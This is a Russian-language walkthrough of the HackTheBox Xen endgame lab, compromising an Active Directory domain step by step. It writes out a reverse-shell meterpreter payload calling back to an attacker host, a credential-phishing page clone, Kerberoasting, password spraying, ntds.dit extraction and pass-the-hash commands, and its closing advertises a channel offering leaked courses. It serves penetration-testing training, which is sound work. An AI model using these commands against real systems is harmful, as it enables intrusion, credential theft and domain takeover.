HackTheBox endgame. Прохождение лаборатории Xen. Пентест Active Directory

image

В данной статье разберем прохождение не просто машины, а целой мини-лаборатории с площадки HackTheBox.

Как сказано в описании, Xen предназначен для проверки навыков на всех стадиях атак в небольшой среде Active Directory. Цель состоит в том, чтобы скомпрометировать доступный хост, повысить привилегии и, в конечном итоге, скомпрометировать весь домен, собрав при этом 6 флагов.

Посмотреть разбор еще одной лаборатории Professional Offensive Operations можно здесь.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.


Intro


Данный endgame состоит из 6 машин, и содержит 6 флагов.

image

Так же дается описание и адрес доступного хоста.

image

Начнем!

Breach flag


Данная машина имеет IP адрес 10.13.38.12, который я добавляю в /etc/hosts.
10.13.38.12 xen.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmap«ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.12 --rate=500


image

Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.

nmap -A xen.htb -p25,80,443


image

Таким образом, мы имеем службы IIS и SMTP. При этом есть возможность как HTTP, так и HTTPS соединения на 80 и 443 портах. Давайте посмотрим веб — нас встречают простеньким сайтом.

image

Ничего интересного нет, за исключением ссылки «Join the team», указывающей нам адрес электронный почты jointheteam@humongousretail.com.

image

Давайте переберем директории. Я для этого использую gobuster. В параметрах указываем количество потоков 128 (-t), URL (-u), словарь (-w) и расширения, которые нас интересуют (-x).

gobuster dir -t 128 -u http://xen.htb/  -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,aspx


image

И находим несколько интересных директорий. Код 401 говорит о наличии HTTP аутентификации, давайте посмотрим в сторону remote.

image

Принимаем, и у нас требуют учетные данные.

image

Нам нужны учетные данные. На этом я решил вернуться к SMTP серверу и перебрать имена пользователей (в качестве списка имен советую использовать тот, что предлагает Metasploit). Сделаем это с помощью smtp-user-enum.

smtp-user-enum -M RCPT -U ./namelist.txt -D humongousretail.com -t xen.htb


image

Мы находим 4 адреса электронной почты. Так как мы видим почту IT службы, мы можем отправить от их имени сообщение всем остальным пользователям. Давайте скопируем страницу авторизации remote, сделаем поддельную и разошлем все пользователям поддельный адрес Remote Portal (на самом деле я был очень удивлен, когда оказалось, что это правильный вектор).

Сделать полную копию страницы можно с помощью расширения SingleFile для Firefox. Далее заглянем в исходный код и изменим данные формы. Первым изменим адрес, куда будут присланы учетные данные, я поставил свой хост и 81 порт.

image

И добавим Submit для отправки данных.

image

Теперь запустим netcat для прослушивания 81 порта, активируем веб-сервер и обратимся к измененному файлу, как к index.html.

image

image

Это работает! Давайте выполним рассылку сообщения о изменении адреса портала.

image

Но вот вектор правильный, а исполнение не очень) Так мы полчим данные, но в роботизированном виде на 80 порт.

image

Таким образом собираем все учетки.

image

И теперь заходим на remote.

image

И нам предлагаю сохранить ICA файл.

image

Далее я установил расширение для Chromium.

image

И подключился как pmorgan (VDESKTOP3).

image

image

Аналогично поступаем и с другими пользователями. И awardel находим первый флаг.

image

И сдаем его.

image

И сохраним собранную информацию.

asowxdq9r7mltqwhny2jatoh8ky.png

Deploy flag


Можно заметить, что операционные системы не самые новые, поэтому обязательно должны быть эксплоиты. Давайте кинем шелл meterpreter. Сначала создадим нагрузку.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.14.14.9 LPORT=3434 -f exe > s.exe


image

Теперь запустим листенер metasploit.

handler -H 10.14.14.9 -P 3434 -p windows/x64/meterpreter/reverse_tcp


image

Зайдем через браузер на целевой машине, скачаем и запустим нагрузку. В окне Metasploit заметим подключение в первой сессии.

image

image

Теперь перечислим все эксплоиты для LPE.

image

И есть несколько. Давайте воспользуемся первым, он позволит получить контекст system. Запустим новый листенер.

image

И используем эксплоит.

image

Открывается вторая сессия в контексте SYSTEM.

image

Давайте проверим флаг.

image

И забираем его.

2m_gctbxaccolc792cmxvfb5bgi.png

tyfyyv-vw0yeo5eid8_gy4fwr4i.png

Вот так легко сдаем еще один флаг. Идем далее.

Ghost flag


Для дальнейшей разведки удобно использовать PowerShell, а еще удобней работать через PowerShell Empire (про который я писал тут). Давайте откроем сессию, для этого сперва создадим листенер http и PS лаунчер для него.

> listeners
> uselistener http
> set Host 10.14.14.9
> set Port 5656
> execute
> back
> launcher powershell http


nwh8k_g7pvp4d25k6mcm_g5ase0.png

Сохраним лаунчер в файл s.ps1. Для запуска его из памяти через meterpreter нужно загрузить модуль powershell.

xehf0mmdd6b0-hmnfbbqivm45p0.png

И выполним powershell_import.

-fnwvvmgxgd2stpsoceiizkfxhu.png

В окне Empire обнаружим созданный агент.

f2cm7mexe3pdgwtdgc_mghacli0.png

Для удобной работы переименуем его по названию рабочей станции и перейдем в интерактивный режим.

nevjoh8xwwovniicwob5gp6k-6u.png

hjucn3yy2uihhkibe99yoamwpfi.png

Для разведки нам нужно определить контроллер домена. Сделаем это с помощью одного прекрасного модуля get_domain_controller из раздела situational_awareness.

> usemodule situational_awareness/network/powerview/get_domain_controller
> run


pfxe61ftwboyhaqczuzu16huiho.png

Так мы получаем информацию о контроллере домена. Теперь давайте перечислим пользователей домена. На данном этапе мне нужно получить имена учетных записей и значение свойства AdminCount, чтобы сразу определить привилегированных пользователей.

> usemodule situational_awareness/network/powerview/get_user
> set Server DC.htb.local
> set Properties samaccountname,admincount
> run


epbm8n-0pxbqjkx8ugmru5mx84q.png

Давайте сразу проверим SPN имена, чтобы определить возможность атаки Kerberoasting.

> usemodule situational_awareness/network/powerview/get_user
> set Server DC.htb.local
> set Properties serviceprincipalname
> run


24tuqtogjlqw_wyj_wtkmirvjjq.png

И есть SPN! Давайте выполним Kerberoasting с помощью того же Empire. Укажем формат вывода — hashcat.

> usemodule credentials/invoke_kerberoast
> set OutputFormat Hashcat
> run


fcrtn3wmff8er48hsi4ck4epipe.png

И получаем хеш пользователя. Теперь переберем с помощью hashcat.

hashcat -m 13100 -a 0 krb.hash rockyou.txt --force


В словаре rockyou данный пароль не обнаружен, поэтому я поставил перебор по всем словарям из Seclists. Но этот вариант тоже потерпел неудачу. Последний вариант — воспользоваться NSA правилами.

jxzhkxufm6pnpkkqjbqpe-fmj-k.png

Как представлено в репозитории, dive — лучший вариант, поэтому используем его вторую версию.

hashcat -m 13100 krb.hash rockyou.txt -r nsa-rules/_NSAKEY.v2.dive.rule -debug-mode=1 -debug-file=rule.txt -d 2


8tm8yyoriogouhedrvjvixunnc4.png

И мы получаем пароль данного пользователя. Для дальнейшего продвижения давайте просканируем локальную сеть. Лучше всего это сделать с помощью с помощью ARP сканирования, так как ICMP может быт заблокирован. В этом нам поможет модуль arpscan.Мы знаем адрес и маску сети, поэтому зададим диапазон хостов.

> usemodule situational_awareness/network/arpscan
> set Range 172.16.249.0-172.16.249.255
> run


7fvhqd_c2vdhwqryakt7yi7kaxu.png

Так… Из этого списка мы не знаем два хоста: 201 и 202. Давайте проверим общие ресурсы в домене. Из параметров нам нужен только адрес контроллера домена.

> usemodule situational_awareness/network/powerview/share_finder
> set Server DC.htb.local
> run


rsp36dpdijzbbrioueihsptddj0.png

С каждым сканированием наше представление о сети расширяется, давайте узнаем, что за хост CITRIX.htb.local.

curkm01lzbyve769e7kdt7jjao4.png

Ниже представлена аккумулируемая нами информация.

sdzd8z_kll5ijcesm_asfi6xqse.png

Чтобы взаимодействовать с ресурсами во внутренней сети, нам необходимо настроить туннель. Сделаем это в активной сессии meterpreter с помощью команды autoroute, а в качестве параметра укажем адрес внутренней сети и маску (с параметром -p можем проверить активные маршруты).

run autoroute -s 172.16.249.0/24 


tntu9y40tdn28avzmqtgl3o0ffw.png

Теперь, когда мы добавили маршрут к целевой сети, мы воспользуемся вспомогательным средством socks4a изнутри платформы. Вспомогательный модуль auxiliary/server/socks4a предоставляет прокси-сервер, который использует инфраструктуру маршрутизации Metasploit, которую мы создали для ретрансляции соединений.

-v_j0bfvhwes3e1slvn42fwceqi.png

А в качестве клиента-перенаправителя используем proxychains. Изменим его конфиг /etc/proxychains.conf, указав порт, установленный metasploit (порт по умолчанию 1080).

cy_5ohot9iirrdzik2qssk8hj4a.png

И для найденного пользователя доступна для чтения директория Citrix$. Так как proxychains выводит информацию о подключении, уберем ее с помощью перенаправления 2>/dev/null.

proxychains cme smb -u mturner -p '4install!' -d htb.local 172.16.249.201 --share "Citrix$" --shares 2>/dev/null


qvnroleugjrgp-i5izk_ovbpdps.png

Давайте посмотрим все, что нам доступно на этом ресурсе.

proxychains smbmap -u mturner -p '4install!' -d htb.local -H 172.16.249.201 -R 2>/dev/null


mjg3-n6art569eklzc6dsoqx_fy.png

И мы находим флаг, а также ppk файл. Давайте получим все файлы.

sudo proxychains smbclient //172.16.249.201/Citrix$ -U htb.local\\mturner%4install!


bis2hwyvpobzvdkqykpbac_wfz0.png

При подключении получаем ошибку, устранить которую можно указав опцию client min protocol.

sudo proxychains smbclient //172.16.249.201/Citrix$ -U htb.local\\mturner%4install! --option='client min protocol=NT1' 2>/dev/null


vnyibhq9ui9jd9-smv92jserdqg.png

И сдадим флаг.

zyo3uyt0kbvkkijgwr_vdwnaa5i.png

jsy2ppljrcwqjfvit23y4pzisig.png

Camouflage flag


Давайте разберемся с приватным ключем Putty.

u9kgz-0fzwj3uftpn1yjzumc5qa.png

Данный приватный ключ зашифрован и предназначен для авторизации по SSH. Давайте переберем пароль, предназначенный для расшифрования ключа. Для этого сперва переформатируем ключ в john формат.

ui-yrwxnm9mh_b-_p7ae2lbkbtc.png

Но перебрать по стандартным словарям не вышло, и мне подсказали отличный инструмен генерации «удобно набираемых» паролей — kwprocessor. Давайте создадим словарь.

./kwp -o key-dict.txt basechars/tiny.base keymaps/en.keymap routes/2-to-32-max-5-direction-changes.route


xemzj0okpereyu2ubrjiz7u7esi.png

И мы успешно нашли 16-символьный пароль.

john --wordlist=./kwprocessor/key-dict.txt putty.john


0v08p94zn_xex3wgqvqh55ahqyy.png

Так как у меня Linux, мне удобней работать с обычным SSH клиентом. Переформатируем ключ в данный формат.

sudo apt install putty-tools
puttygen private.ppk -O private-openssh -o id_rsa


Теперь определимся, куда мы с ним можем попасть. Для этого просканировал внутреннюю сеть, чтобы найти открытый 22 порт.

proxychains nmap -p22 172.16.249.200-205 2>/dev/null


fqda78yhbo1nuezb5_txvnxvigg.png

И находим, но об этом хосте мы еще ничего не знаем. Попытавшись подключиться без имени, получаем интересное сообщение и запрос пароля.

sfgpqst6ffsugdv0biquhni5fea.png

Перебор по именам известных нам пользователей результата не принес. Сканирование nmap данного сервиса с использованием скриптов тоже ничего не дало.

sdwiy0egqd4zgm4fagjeyizfmv4.png

Тогда я просканировал все порты на хосте. Но дожидаться конца сканирования не стал, так как оно шло очень долго, благо в информации proxychains можно было наблюдать, доступен порт или нет.

yv9eovdujflhzyyf9q-hsg7uphw.png

Так как был доступен 80 порт, я установил прокси в браузере и зашел посмотреть что там.

v2e6v-zekaxpfyu5pvagxkayeta.png

Нас встречает страница авторизации Citrix NetScaler. И гугл выводит нас на документацию, в которой мы узнаем логин по умолчанию.

mhcpha-tvjml8kvelevudpehacs.png

u4rgziapmiadlxkt9v-cnydmizo.png

И с данным логин мы успешно подключаем по SSH.

u2kl5b92xjdgz1gfigbyvb8jgfs.png

Побродив на сервере, я посмотрел материалы по атакам на подобный вид оборудования, одной из которых является мониторинг трафика. Таким образом, я оставил активный на некоторое время tcpdump и получил дамп трафика.

tcpdump -s0 -w r.pcap


ur9ppf0umalf7govd7ao_jjzc-q.png

Теперь скачаем данный файл.

proxychains scp -i id_rsa nsroot@172.16.249.202:/root/r.pcap ./


И для быстрого поиска учетных данных используем PCredz.

0clqyngcfi_fxwg1onbheg9t6au.png

И получаем еще флаг.

ubwsmxhyscpsrfy7jumcjf689la.png

Doppelganger flag


Но данная программа смотрит не все, поэтому необходимо проанализировать дамп на наличие различных секретов или токенов. Отсортировав пакеты по протоколу, добираемся до LDAP и находим bindRequest«ы двух пользователей, в которых есть пароль (один мы уже нашли).

ilad7_p_f-rbgwdrpglcejkbh74.png

_6w_al3oddm4ikipiqi3ishgado.png

Проверим этот пароль для данного пользователя.

proxychains cme smb -u "netscaler-svc" -p "#S3rvice#@cc" -d htb.local 172.16.249.200 2>/dev/null


n_7xr4urfsbuwry9m258zxmiczy.png

Данный пользователь ничем не примечателен, кроме того, что это пользователь службы. Часто пароли таких пользователей совпадают с паролями других пользователей домена. Давайте проверим, каким еще пользователям подойдет данный пароль. Я сделал это с помощью metasploit.

proxychains msfconsole 2>/dev/null
> use auxiliary/scanner/smb/smb_login
> set SMBDomain htb.local
> set RHOSTS 172.16.249.200
> set USER_FILE ~/tmp/users.txt
> set PASS_FILE ~/tmp/passwords.txt
> set VERBOSE false
> run


8ld5gjri_mmvptxg1-cdlzc9f1e.png

И данный пароль подошел ко всем учетным записям служб. Как мы выяснили ранее, учетная запись backup-svc является привилегированной, а это значит, что для нее разрешен вход на контроллер домена. Проверим открытые порты RDP (3389) и WinRM (5985) служб.

proxychains nmap -p 3389,5985 172.16.249.200 2>/dev/null


pzcw5asa6eqyodh4sfwa6vc9_ys.png

Оба метода входа возможны, но я предпочитаю WinRM. Выполним вход с помощью программы Evil-WinRM.

proxychains evil-winrm -i 172.16.249.200 -u backup-svc -p "#S3rvice#@cc" 2>/dev/null


lqnxrg12wpdnbcsr9fuapynu38u.png

И забираем еще один флаг.

5ceuxxnpsuj3orc_35qazfwnkq0.png

Owned flag


Посмотрев информацию о данном пользователе, видим его членство в привилегированных группах, благодаря чему мы можем выполнить копирование файла ntds.dit и извлечб учетные данные пользователей домена.

whoami /all


in4ia6lepmr0u2_voqct6h-qjw8.png

Из методов дампа файла ntds успешно выполняется вариант с discshadow. Давайте авторизуемся по RDP. В качестве клиента я использую remmina.

proxychains remmina


1bbvosxjg1jb6y7acri98kmj47k.png

soec79bjwbiktiqfc9udby8v4g0.png

И нас встречает окно командной строки.

xloxkreweosxvmhp56wiy4v4hms.png

Войдем в контекст diskshadow.

nwuhub-n7hnrfsm9q505cyrvrt4.png

И создадим копию — диск Z.

set context persistence nowriters
add volume c: alias sss
create 
expose %sss% z:


owhvxxddfioicyx-kn1frars-hs.png

Проверим, и увидим копию файла ntds.dit.

hpvoeilgbsxim5ljt3nxflbmo6w.png

Еще нам нужен файл System, чтобы расшифровать базу ntds, но его получить легче.

reg.exe save hklm\system C:\Users\backup-svc\Documents\system.bak


nz_z16rrzirc0l4udjlgvny5zvm.png

Но это еще не все, ведь просто так файл ntds не скопировать. Для этого используем следующий инструмент. Для начала загружаем на хост обе DLL.

z9jbd1lsunkcyd3uon6v8yl3skw.png

И загружаем в память.

9qgkcjotiqguv2rhtjbci6ey1-0.png

Теперь активируем себе привелегию и проверим, что она в состоянии Enabled.

Set-SeBackupPrivilege
Whoami /priv | findstr Backup


uubtgtsp7zzfuvc9jyi-371bte8.png

Отлично, теперь копируем файл.

Copy-FileSeBackupPrivilege z:\windows\ntds\ntds.dit C:\Users\backup-svc\Documents\ntds.dit


А теперь скачиваем на локальный хост файлы ntds и system (и именно в этот момент лаборатория закрывается и я теряю доступ, прям во время загрузки файлов… Оказалось, что лаборатория стала доступна только пользователям с подпиской (ушла на дорешивание) и я не могу закончить прохождение! Но большое спасибо @kemstat, что поделился на время ВИП конфигом ВПН, дабы я дописал данное прохождение). Давайте достанем учетные данные.

secretsdump.py -ntds ndts.dit -system system.bak LOCAL


pkjcvt3bnlmlqet3kcbewyy72ks.png

И есть хеш администратора. Теперь используем атаку PTH для подключения к серверу. Но psexec (подключение через SMB) не дает нам прочитать файл.

tzc8wpvaac_btlyw3sq5mie2b1y.png

-_mqjjz_ybfor9th1np8b6liibs.png

А вот WMI дает нам неограниченный доступ и мы получаем привилении администратора домена и последний флаг.

proxychains wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:822601ccd7155f47cd955b94af1558be Administrator@172.16.249.200 2>/dev/null


bay_sddavamcgwmwy2hj-i819eg.png

Вот и все. В качестве обратной связи, прокомментируйте — узнали ли Вы что-то новое из данной статьи и была ли она Вам полезна.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.

© Habrahabr.ru